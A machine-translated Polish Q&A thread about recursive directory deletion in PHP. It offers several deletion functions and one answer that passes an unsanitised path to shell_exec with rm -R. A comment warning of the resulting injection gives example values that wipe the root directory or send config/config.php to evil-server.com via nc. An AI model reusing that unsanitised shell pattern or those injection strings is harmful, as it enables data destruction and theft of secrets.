2009-09-10 10 views
26

używam PHP, aby przenieść zawartość obrazów podfolderRekurencyjna funkcja usuwania katalogu dla PHP?

GalleryName/images/

do innego folderu. Po przeniesieniu muszę usunąć katalog GalleryName i wszystko inne w nim zawarte.

Wiem, że rmdir() nie będzie działał, dopóki katalog nie będzie pusty. Spędziłem trochę czasu, próbując zbudować funkcję rekursywną na scandir() zaczynając od góry, a następnie unlink(), jeśli jest to plik i scandir(), jeśli jest to katalog, a następnie rmdir() każdy pusty katalog.

Do tej pory nie działa dokładnie tak, i zacząłem myśleć - czyż nie jest to śmiesznie prosta funkcja, którą PHP powinien być w stanie zrobić? Usuwanie katalogu?

Czy jest coś, czego mi brakuje? Czy istnieje przynajmniej sprawdzona funkcja, której ludzie używają do tego działania?

Każda pomoc zostanie doceniona.

PS Ufam wam wszystkim bardziej niż komentarze na stronie php.net - są tam setki funkcji, ale jestem zainteresowany, aby usłyszeć, czy któryś z was tutaj poleca jeden z innymi.

+3

Czy shell_exec function() z 'rm -Fr' bierzesz? Nie jest to najlepsze podejście, ale jeśli teraz robisz to, co robisz, działa dobrze. – rogeriopvl

Odpowiedz

14

Jest to funkcja rekurencyjna, którą utworzyłem/zmodyfikowałem i która w końcu wydaje się działać. Mam nadzieję, że nie ma w tym nic zbyt niebezpiecznego.

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
     if ($file == '.' || $file == '..') continue; 
     if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
      chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
      if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
     }; 
    } 
    return rmdir($dir); 
} 
+0

Ta funkcja jest niebezpieczna, zamiast pozycji $ powinien być plik $! – johndodo

0

Mam dostosowane do funkcji, która obsługuje pliki ukryte unix z prefiksem dot i używa glob:

public static function deleteDir($path) { 
    if (!is_dir($path)) { 
     throw new InvalidArgumentException("$path is not a directory"); 
    } 
    if (substr($path, strlen($path) - 1, 1) != '/') { 
     $path .= '/'; 
    } 
    $dotfiles = glob($path . '.*', GLOB_MARK); 
    $files = glob($path . '*', GLOB_MARK); 
    $files = array_merge($files, $dotfiles); 
    foreach ($files as $file) { 
     if (basename($file) == '.' || basename($file) == '..') { 
      continue; 
     } else if (is_dir($file)) { 
      self::deleteDir($file); 
     } else { 
      unlink($file); 
     } 
    } 
    rmdir($path); 
} 
83

Co o tej jednej kwestii?

foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) { 
     $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname()); 
} 
rmdir($dirPath); 
+12

+1 za najkrótszy kod i prawdopodobnie najlepsze i najszybciej działające rozwiązanie :) – tftd

+1

Przyjemnie, nie zapomnij dodać rmdir ($ dirPath) a foreach, w przeciwnym razie usunie tylko pliki. – Ant

+0

@Cooluhuru Dodano wywołanie rmdir(). Dzięki! – barbushin

2

Jeśli serwer aplikacji działa Linux, wystarczy użyć funkcji shell_exec() i przekazują jej polecenia rm -R, tak:

shell_exec("rm ".$dir_path." -R"); 

Objaśnienie:

Funkcja uruchomi polecenie wstawione bezpośrednio do systemu Linux. To dokładnie to samo, co polecenie w terminalu linux.

Komenda rm usunąć plik lub katalog przekazany w $dir_path i opcję -R mówi systemu, aby go uruchomić rekursywnie.

+1

w zależności od tego skąd pochodzi '$ dir_path', możesz wprowadzić bardzo duży problem z zabezpieczeniami. Przypuśćmy, że w jakiś sposób ustawię '$ dir_path =" -F --no-preserve-root/";' lub może po prostu '$ dir_path ="; cat config/config.php | nc evil-server.com 80; ";' Cóż, możliwości są nieograniczone. – amenthes

0

Wolę enhaced metodę pochodzącą z pomocą php strony http://php.net/manual/en/function.rmdir.php#115598

// check accidential empty, root or relative pathes 
if (!empty($path) && ...) 
{ 
    if (PHP_OS === 'Windows') 
    { 
    exec('rd /s /q "'.$path.'"'); 
    } 
    else 
    { 
     exec('rm -rf "'.$path.'"'); 
    } 
} 
else 
{ 
    error_log('path not valid:$path'.var_export($path, true)); 
} 

powody mojej decyzji:

  • mniej kod
  • prędkość
  • keep it simple